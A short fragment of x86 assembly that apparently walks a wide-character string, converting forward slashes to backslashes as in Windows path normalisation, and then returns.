cmp eax, 0x2f
jne 0x413082
mov eax, 0x5c
jmp 0x413088
cmp eax, 0x5c
cmove eax, edi
mov word [edx], ax
add edx, 2
sub esi, 1
jne 0x413070
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8